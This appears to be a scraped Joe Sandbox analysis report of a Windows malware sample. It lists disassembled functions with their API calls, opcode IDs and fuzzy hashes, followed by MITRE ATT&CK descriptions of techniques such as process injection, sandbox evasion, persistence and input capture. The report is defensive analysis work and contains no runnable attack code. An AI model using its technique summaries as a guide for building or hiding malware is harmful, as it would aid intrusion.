Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 39f2f1cf71a29d514f6242f924a19a78e57593a1b5751a8be59496e01fa97b3c
Instruction ID: b8cd1814d06b387feeffd82b680065b01d740afc17ed79aa628c5d7caec867fb
Opcode Fuzzy Hash: 39f2f1cf71a29d514f6242f924a19a78e57593a1b5751a8be59496e01fa97b3c
Instruction Fuzzy Hash: 8EC11AB2D00219AFDF00DFE4E995BEEBBB9FF08314F1800A9E515E7241EB7599148B51

Function 02BF0864 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 02BF08EF
__alldvrm.LIBCMT ref: 02BF0AF0
__alldvrm.LIBCMT ref: 02BF0B12

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 5e43251032319342be483b478dc2f13ce81d8cafe5a57c5907e7bbdc0d9893ed
Instruction ID: 2783be769a1db447a0b95a9e42949f3f6b5413569d6ad3bc67fd1d508f82bbaf
Opcode Fuzzy Hash: 5e43251032319342be483b478dc2f13ce81d8cafe5a57c5907e7bbdc0d9893ed
Instruction Fuzzy Hash: 5AA19B72A003869FEB61EF18C8807AEBBE5EF11304F1449EDDB959B267D3348949CB50

Function 02BE04E6 Relevance: 6.2, APIs: 4, Instructions: 247COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 02BE05C2
__CxxThrowException@8.LIBVCRUNTIME ref: 02BE05DA
__CxxThrowException@8.LIBVCRUNTIME ref: 02BE076C
__CxxThrowException@8.LIBVCRUNTIME ref: 02BE0784

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 67774b5eb3bce571acce363220e64c3aa7d73af1e53e6af77937ecd477b08d30
Instruction ID: 8399946d3a007607b3993a88884290a68b725a275da623d3bc51660fbcb2f1ee
Opcode Fuzzy Hash: 67774b5eb3bce571acce363220e64c3aa7d73af1e53e6af77937ecd477b08d30
Instruction Fuzzy Hash: A68107B1A043019FDB24FF28D88075AF7E5FF94304F044DAAE56AA7241D7B4E854CB96

Function 02B13A3B Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,?), ref: 02B13B02

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 10b10ac35b012d3a1e1cf1da96dfbfcd29b03dc4d356e1fa6cc2e5c5ff3ff850
Instruction ID: ab447dc199b33823095fd7d69e6820fab59abedacf4f83d9e919c4cfdf171026
Opcode Fuzzy Hash: 10b10ac35b012d3a1e1cf1da96dfbfcd29b03dc4d356e1fa6cc2e5c5ff3ff850
Instruction Fuzzy Hash: AB517C71900208EFCB11DF68C884A9EBBF5EF45340F9486E5E9159B294E770DA41CB60

Function 02BB8330 Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(?,?), ref: 02BB83A3
VariantClear.OLEAUT32(?), ref: 02BB84D5

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 062b335a21cf9e04be3e11b773760b91c08b8ee986907180ed42fb9881c66577
Instruction ID: 7b3afb9748e111f6ea7b8b15160dd9a88d3df7448642208d1686aa3f032dc3f6
Opcode Fuzzy Hash: 062b335a21cf9e04be3e11b773760b91c08b8ee986907180ed42fb9881c66577
Instruction Fuzzy Hash: 965103705487019FD715CF29C1845ABB7E9EF88718F28C89DE4998B320E3BAD845CB82

Function 02BAE43B Relevance: 6.1, APIs: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000002,00000000), ref: 02BAE480
CreateStreamOnHGlobal.OLE32(?,00000001,00000000), ref: 02BAE4B2
GlobalAlloc.KERNEL32(00000000,00000000,?), ref: 02BAE4DF
CreateStreamOnHGlobal.OLE32(?,00000000,00000000), ref: 02BAE553

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Global$AllocCreateStream
String ID:
API String ID: 1039121705-0
Opcode ID: 44232ba12e471d85c966d4d4708c1fe815737c6ed3d41b8fe90aff3708c6a81f
Instruction ID: 4316486ed99754086e310e6a41ac10939247d0288e06360ef827d8680ee2ceed
Opcode Fuzzy Hash: 44232ba12e471d85c966d4d4708c1fe815737c6ed3d41b8fe90aff3708c6a81f
Instruction Fuzzy Hash: C2415C74A40318AFDF00DFA4D8C4B9DBBB1FB0E355F0098A5EA14AB256C735AA509F61

Function 02BB31AB Relevance: 6.1, APIs: 4, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f9021ce8a3c3094cb97fa3a2dcbce820b8f6db41f10ae14e87b90cf035d1fb5
Instruction ID: 3731571186f1720bbdf7c7d7c0472eebff1661d1d04989c2889dc222710684ca
Opcode Fuzzy Hash: 3f9021ce8a3c3094cb97fa3a2dcbce820b8f6db41f10ae14e87b90cf035d1fb5
Instruction Fuzzy Hash: 3741F775D00209EFDF01DFA4C848BAEBBB4FF09310F108594EA21AB290D7B59A54DB55

Function 02BBB280 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 02BBB2E0
LCMapStringA.KERNEL32(00000804,00400000,?,?,00000000,00000001), ref: 02BBB314
free.MSVCRT ref: 02BBB323
free.MSVCRT ref: 02BBB33C

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: free$Stringmalloc
String ID:
API String ID: 3576809655-0
Opcode ID: 5f10599a65f44fc95a89d7e244a8db90a1114409c629cf67ca56d2f19d478e5e
Instruction ID: 6eb0cebfaa37434cf013b4be8c10b743f99d6b74813aaf1c1a60c8fc1e5e34cd
Opcode Fuzzy Hash: 5f10599a65f44fc95a89d7e244a8db90a1114409c629cf67ca56d2f19d478e5e
Instruction Fuzzy Hash: 3B11D6727043046FE214EB649C85FBB73DEDF89718F10496DF94693200EE71EA458BA1

Function 02BB5B90 Relevance: 6.1, APIs: 4, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000020,00000000,?,00000000,80000005), ref: 02BB5BA8
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,0000026C,?,00000000,80000005), ref: 02BB5BE7
CloseHandle.KERNEL32(00000000,?,?,0000026C,?,00000000,80000005), ref: 02BB5BFA
CloseHandle.KERNEL32(00000000,?,?,0000026C,?,00000000,80000005), ref: 02BB5C15

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateWrite
String ID:
API String ID: 3602564925-0
Opcode ID: e8e398d950b98e9c201bae6ee46b687d9ba6473bbe303a41447a06df5a71ba17
Instruction ID: 80125d8966f3118b975efb21abb853d336af93e3ab2183be3fd7ac40374d3fd9
Opcode Fuzzy Hash: e8e398d950b98e9c201bae6ee46b687d9ba6473bbe303a41447a06df5a71ba17
Instruction Fuzzy Hash: 65117C32644301AFD720DE18EC85FAAB3E4FB88725F654D59FA5097280D7B1E8098B62

Function 02B11634 Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000050,00000000,00000000), ref: 02B1165C
RtlAllocateHeap.NTDLL(00000008,000041C4,00000000), ref: 02B11690
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 02B116AA
HeapFree.KERNEL32(00000000,?), ref: 02B116C1

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Allocate$AllocFreeVirtual
String ID:
API String ID: 94566200-0
Opcode ID: 9712b86dfef2c38028b99add2969610329c85ee6fb40121cded2b99537fde0f8
Instruction ID: 7628c2871900e6585aa9e348049b32de35013480d68e038d1f28da6336c868ba
Opcode Fuzzy Hash: 9712b86dfef2c38028b99add2969610329c85ee6fb40121cded2b99537fde0f8
Instruction Fuzzy Hash: 1D118F71A803029FC7318F18EC49A22BBB2FB853A87914D2DF665C71A1C732A461CF10

Function 02BEA1FF Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 02BEA216

Part of subcall function 02BEA84E: ___BuildCatchObjectHelper.LIBVCRUNTIME ref: 02BEA87D
Part of subcall function 02BEA84E: ___AdjustPointer.LIBCMT ref: 02BEA898

_UnwindNestedFrames.LIBCMT ref: 02BEA22D
___FrameUnwindToState.LIBVCRUNTIME ref: 02BEA23F
CallCatchBlock.LIBVCRUNTIME ref: 02BEA263

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: 15095f786c6882acfcb183a4fdafa59fa81749887e07d071c600581f9dd890f6
Instruction ID: 683fa50c6c06593e2fe3b20240d34744fda350c7d885163332c44d4370c72633
Opcode Fuzzy Hash: 15095f786c6882acfcb183a4fdafa59fa81749887e07d071c600581f9dd890f6
Instruction Fuzzy Hash: 8A01E232000109BBCF12AF55CC40EEA3FBAFF88754F158194F95A66120D372E8A1EFA0

Function 02BEC1FC Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 02BEC1FC
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 02BEC201
___vcrt_initialize_locks.LIBVCRUNTIME ref: 02BEC206

Part of subcall function 02BEC894: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 02BEC8A5

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 02BEC21B

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 00e1e4ac901f7ba4a1524ac06a72b3d4171ec8b7402ff84ab885ff1cf5404080
Instruction ID: 68aaf0a757e43170b44b10ccedb2ddfb3a62daf46ac517974ce20e5349dd01ff
Opcode Fuzzy Hash: 00e1e4ac901f7ba4a1524ac06a72b3d4171ec8b7402ff84ab885ff1cf5404080
Instruction Fuzzy Hash: D0C04824080389191CA43AF033002BE2F575F96BC5F8434C78CF327406CB0A200A6E33

Function 02B11E04 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL ref: 02B11E11
RtlInitializeCriticalSection.NTDLL ref: 02B11E19
RtlInitializeCriticalSection.NTDLL ref: 02B11E21
RtlInitializeCriticalSection.NTDLL ref: 02B11E29

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 7a91cbe8cdb01367308bca9e13858784832be64147912ca66d0a54d159c01f1c
Instruction ID: 4f05d170f7e08d98efecb907664c1205c021cb578e04873cfbc9abe131045ead
Opcode Fuzzy Hash: 7a91cbe8cdb01367308bca9e13858784832be64147912ca66d0a54d159c01f1c
Instruction Fuzzy Hash: F3C00231C90134DACF122B65FC098467F25EB052E43A28962E10453030CB221C71EFD0

Function 02BF22DE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02BF244A

Strings

., xrefs: 02BF2601
*?, xrefs: 02BF2321

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?$.
API String ID: 269201875-3972193922
Opcode ID: bc867989021346812e118658fbc3b64e5df9cd1f31fe109819f97888fcf86963
Instruction ID: 35d6ecb61bd92fb327746ed9e6482960378ff03a6a34c4bbe7f5cf6e86b97a59
Opcode Fuzzy Hash: bc867989021346812e118658fbc3b64e5df9cd1f31fe109819f97888fcf86963
Instruction Fuzzy Hash: 32518175E0020AAFDF54DFA8C880AADBBB5EF48314F2581A9DE54E7340D7759A098F50

Function 02B132BE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?), ref: 02B132D2

Strings

, xrefs: 02B1331B
, xrefs: 02B132F7

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: fffd66e76b402b4fabe4436ce757c734f16538f818ace55a38c23c5c9e7f2172
Instruction ID: 15f0b1750c052a393cc50e718d7cdcf03f01e6edf56ba426165e7063c3dac143
Opcode Fuzzy Hash: fffd66e76b402b4fabe4436ce757c734f16538f818ace55a38c23c5c9e7f2172
Instruction Fuzzy Hash: 9F419B314002A86FD716D714ED9ABEABFE9EB01744FC904F9D589C7182E7214A44CBB2

Function 02B82ED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,-00000002,0000005C,00000000,00000000,00000000,?,00000000), ref: 02B82EC3
LocalFree.KERNEL32(00000000,00000000,?,00000000), ref: 02B82F20

Strings

\, xrefs: 02B82EA8

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateDirectoryFreeLocal
String ID: \
API String ID: 2937684288-2967466578
Opcode ID: 416e3a9b9d3325d79df002f522221ce4fdc10d363ea52b88174ba8b95b0d342f
Instruction ID: 740785f9072e9e5907a48e4ed0c49c930af07ae2485b5effd052958690512c89
Opcode Fuzzy Hash: 416e3a9b9d3325d79df002f522221ce4fdc10d363ea52b88174ba8b95b0d342f
Instruction Fuzzy Hash: 4CF04F32C14149EADF11ABA0DD04ABFFBB1FF09311F605599E80936050E3324660DB5A

Function 02BA2647 Relevance: 5.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 02BA26C0
HeapAlloc.KERNEL32(?,00000008,00000000), ref: 02BA26D8
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000004,00000000,00000002), ref: 02BA278A
HeapFree.KERNEL32(?,00000000,00000000), ref: 02BA27A2

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 8d8498e4c21df10e16f1679f8aeffa5c8327b824cb13e1f94ac01d8329ecf9a4
Instruction ID: 51c844124c8af6104094006e3a09db6b83296c227ae3a0905b9438825d8a2de1
Opcode Fuzzy Hash: 8d8498e4c21df10e16f1679f8aeffa5c8327b824cb13e1f94ac01d8329ecf9a4
Instruction Fuzzy Hash: A9411771D04209EFEF109FA0C858BAEBBB9EF09305F1084A5EA15B7190D7798A94DF84

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

